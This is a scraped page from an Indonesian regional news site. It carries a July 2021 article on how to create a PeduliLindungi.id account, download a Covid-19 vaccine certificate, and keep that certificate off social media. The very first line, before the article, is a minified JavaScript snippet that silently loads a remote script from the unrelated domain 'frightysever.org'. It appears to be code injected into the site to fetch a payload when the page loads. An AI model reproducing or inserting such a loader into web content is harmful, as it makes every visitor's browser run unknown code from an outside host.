(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU– Bagi masyarakat yang sudah menerima suntikan vaksin Covid-19, bisa mengecek dan mengunduh sertifikat vaksinasi. Sertifikat vaksinasi salah satu manfaatnya menjadi syarat perjalanan jarak jauh, baik menggunakan transportasi pribadi maupun publik.
Untuk mendapatkan sertifikat vaksinasi Covid-19, masyarakat hanya cukup mengunjungi laman Pedulilindungi.id.
Cara buat akun Pedulilindungi:
Baca juga: PENTING. Ini Sejumlah Lokasi Penyekatan yang Disiapkan Saat PPKM Level 4 Banjarbaru Dimulai!
Berikut cara registrasi atau membuat akun di Pedulilindungi.id:
• Klik “login/register” di pojok kanan atas
• Klik “buat akun PeduliLindungi”
• Masukkan nama lengkap dan nomor ponsel
• Kode verifikasi akan dikirim ke nomor yang terdaftar
• Masukkan 6 digit angka
Setelah berhasil, Anda akan otomatis masuk ke dalam dashboard Pedulilindungi.id.
Cara download sertifikat vaksin:
Untuk mengunduh sertifikat vaksinasi, berikut langkahnya:
• Klik menu yang berisi nama Anda di pojok kanan atas
• Pilih “sertifikat vaksin”
• Klik nama Anda
• Akan muncul dua sertifikat, yaitu vaksinasi pertama dan kedua juga sudah menyelesaikan dua dosis vaksin
• Klik gambar sertifikat
• Tekan “unduh sertifikat”
Perlu dicatat, sertifikat baru akan muncul ketika sudah memiliki akun di Pedulilindungi.id.
Jika belum terdaftar dalam Pedulilindungi.id, maka informasi yang akan muncul hanya sebatas status vaksinasi, tanpa ada sertifikat vaksin.
Baca juga: BREAKING NEWS. Mayat dengan Sejumlah Luka Ditemukan di Basirih Selatan
Dilarang posting di medsos
Selanjutnya, masyarakat yang sudah mengunduh sertifikat vaksinasi Covid-19, dilarang membagikannya di media sosial. Sebab di dalam sertifikat tersebut terdapat data pribadi sensitif, seperti nomor KTP.
Sertifikat vaksinasi yang telah disimpan dapat digunakan sebagai syarat perjalanan dan hanya boleh diperlihatkan kepada petugas yang berwenang. Sertifikat tersebut juga tidak harus dicetak untuk bisa digunakan sebagai syarat dokumen perjalanan.
Versi digital, yang bisa diunduh atau terdapat di aplikasi, sudah cukup sebagai pelengkap untuk ditunjukkan kepada petugas di lapangan.
Meski demikian, ada beberapa daerah yang memberikan sertifikat vaksin dalam bentuk selembar kertas kepada warganya.
Penyertaan sertifikat vaksin sebagai syarat perjalanan merupakan upaya pemerintah untuk menekan mobilitas publik selama masa PPKM.
Diketahui Pemko Banjarbaru dan Pemko Banjarmasin memutuskan untuk memberlakukan PPKM level 4 mulai Senin (26/7/2021). (Kanalkalimantan.com/kk)
Reporter: kk
Editor: cell
KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More
KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More
This website uses cookies.